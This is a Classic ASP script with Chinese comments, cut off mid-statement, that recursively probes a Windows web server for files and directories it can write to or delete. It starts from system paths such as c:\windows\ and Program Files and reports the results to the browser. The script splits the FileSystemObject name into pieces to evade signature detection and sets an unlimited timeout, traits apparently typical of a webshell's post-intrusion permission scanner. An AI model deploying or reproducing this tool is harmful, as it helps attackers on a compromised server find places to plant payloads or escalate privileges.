%
Response.Buffer = True
Server.ScriptTimeOut=999999999
CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject"
'把路径加入 \
function GetFullPath(path)
GetFullPath = path
if Right(path,1) <> "\" then GetFullPath = path&"\" '如果字符最后不是 \ 的就加上
end function
'删除文件
Function Deltextfile(filepath)
On Error Resume Next
Set objFSO = CreateObject(CONST_FSO)
if objFSO.FileExists(filepath) then '检查文件是否存在
objFSO.DeleteFile(filepath)
end if
Set objFSO = nothing
Deltextfile = Err.Number '返回错误码
End Function
'检测目录是否可写 0 为可读写 1为可写不可以删除
Function CheckDirIsOKWrite(DirStr)
On Error Resume Next
Set FSO = Server.CreateObject(CONST_FSO)
filepath = GetFullPath(DirStr)&fso.GettempName
FSO.CreateTextFile(filepath)
CheckDirIsOKWrite = Err.Number '返回错误码
if ShowNoWriteDir and (CheckDirIsOKWrite =70) then
Response.Write "[目录]"&DirStr&" ["&Err.Description&"]
"
end if
set fout =Nothing
set FSO = Nothing
Deltextfile(filepath) '删除掉
if CheckDirIsOKWrite=0 and Deltextfile(filepath)=70 then CheckDirIsOKWrite =1
end Function
'检测文件是否可以修改(此方法是修改属性,可能会有点不准,但基本能用)
function CheckFileWrite(filepath)
On Error Resume Next
Set FSO = Server.CreateObject(CONST_FSO)
set getAtt=FSO.GetFile(filepath)
getAtt.Attributes = getAtt.Attributes
CheckFileWrite = Err.Number
set FSO = Nothing
set getAtt = Nothing
end function
'检测目录的可读写性
function ShowDirWrite_Dir_File(Path,CheckFile,CheckNextDir)
On Error Resume Next
Set FSO = Server.CreateObject(CONST_FSO)
B = FSO.FolderExists(Path)
set FSO=nothing
'是否为临时目录和是否要检测
IS_TEMP_DIR = (instr(UCase(Path),"WINDOWS\TEMP")>0) and NoCheckTemp
if B=false then '如果不是目录就进行文件检测
'==========================================================================
Re = CheckFileWrite(Path) '检测是否可写
if Re =0 then
Response.Write "[文件]"&Path&"
"
b =true
exit function
else
Response.Write "[文件]"&Path&" ["&Err.Description&"]
"
exit function
end if
'==========================================================================
end if
Path = GetFullPath(Path) '加 \
re = CheckDirIsOKWrite(Path) '当前目录也检测一下
if (re =0) or (re=1) then
Response.Write "[目录]"& Path&"
"
end if
Set FSO = Server.CreateObject(CONST_FSO)
set f = fso.getfolder(Path)
if (CheckFile=True) and (IS_TEMP_DIR=false) then
b=false
'======================================
for each file in f.Files
Re = CheckFileWrite(Path&file.name) '检测是否可写
if Re =0 then
Response.Write "[文件]"& Path&file.name&"
"
b =true
else
if ShowNoWriteDir then Response.Write "[文件]"&Path&file.name&" ["&Err.Description&"]
"
end if
next
if b then response.Flush '如果有内容就刷新客户端显示
'======================================
end if
'============= 目录检测 ================
for each file in f.SubFolders
if CheckNextDir=false then '是否检测下一个目录
re = CheckDirIsOKWrite(Path&file.name)
if (re =0) or (re=1) then
Response.Write "[目录]"& Path&file.name&"
"
end if
end if
if (CheckNextDir=True) and (IS_TEMP_DIR=false) then '是否检测下一个目录
ShowDirWrite_Dir_File Path&file.name,CheckFile,CheckNextDir '再检测下一个目录
end if
next
'======================================
Set FSO = Nothing
set f = Nothing
end function
if Request("Paths") ="" then
Paths_str="c:\windows\"&chr(13)&chr(10)&"c:\Documents and Settings\"&chr(13)&chr(10)&"c:\Program Files\"
if Session("paths")<>"" then Paths_str=Session("paths")
Response.Write "